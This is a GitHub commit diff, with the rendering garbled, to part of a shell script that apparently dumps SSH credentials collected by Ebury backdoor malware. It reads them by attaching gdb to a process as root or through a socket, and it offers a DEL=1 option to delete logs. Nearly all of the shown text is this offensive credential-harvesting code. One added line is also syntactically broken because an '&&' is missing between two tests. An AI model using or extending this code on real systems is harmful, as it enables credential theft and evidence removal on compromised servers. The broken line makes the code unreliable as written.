File tree Expand file tree Collapse file tree 1 file changed +7
-4
lines changed
Expand file tree Collapse file tree 1 file changed +7
-4
lines changed Original file line number Diff line number Diff line change @@ -1405,17 +1405,20 @@ _ebcredsoxdump() {
14051405}
14061406
14071407_ebgdborsox () {
1408- [ -z " $DEL " ] && command -v gdb > /dev/null && {
1408+ local pid=" ${1:? } "
1409+ local usegdb=" ${2:- } "
1410+ [ " $usegdb " = 1 ] && {
14091411 _ebcredgdbdump " $pid "
14101412 return
14111413 }
14121414 _ebcredsoxdump
14131415}
14141416
14151417_ebdump () {
1416- local s con rvia res pid=" ${1:? } "
1418+ local usegdb s con rvia res pid=" ${1:? } "
14171419
1418- res=$( _ebgdborsox " $pid " | while : ; do
1420+ [ " $UID " -eq 0 ] && [ -z " $DEL " ] && command -v gdb > /dev/null && usegdb=1
1421+ res=$( _ebgdborsox " $pid " " $usegdb " | while : ; do
14191422 read -r s
14201423 [ -z " $s " ] && {
14211424 [ -n " $con " ] && echo -e " #$(( ($(date +% s) - con)/ 60 )) minutes ago"
@@ -1425,7 +1428,7 @@ _ebdump() {
14251428 [ -z " $con " ] && con=$( echo " $s " | grep -E $' \t e\t 1' | cut -f8 -d $' \t ' )
14261429 done)
14271430 [ -z " $res " ] && { echo -en " ${CN} " ; return ; } # failed. Maybe already ptraced?
1428- [ -z " $DEL " ] && command -v gdb > /dev/null && rvia=" via gdb [set DEL=1 to delete logs]" || rvia=" via @$( _ebsock) "
1431+ [ " $UID " -eq 0 ][ -z " $DEL " ] && command -v gdb > /dev/null && rvia=" via gdb [set DEL=1 to delete logs]" || rvia=" via @$( _ebsock) "
14291432 echo -e " ${CN}${CDY} Dumping Ebury log ${rvia} (last: $( echo " $res " | grep ^# | sed 's/^.//')):${CF}"
14301433
14311434 echo " $res " | grep ^: | column -t
You can’t perform that action at this time.
0 commit comments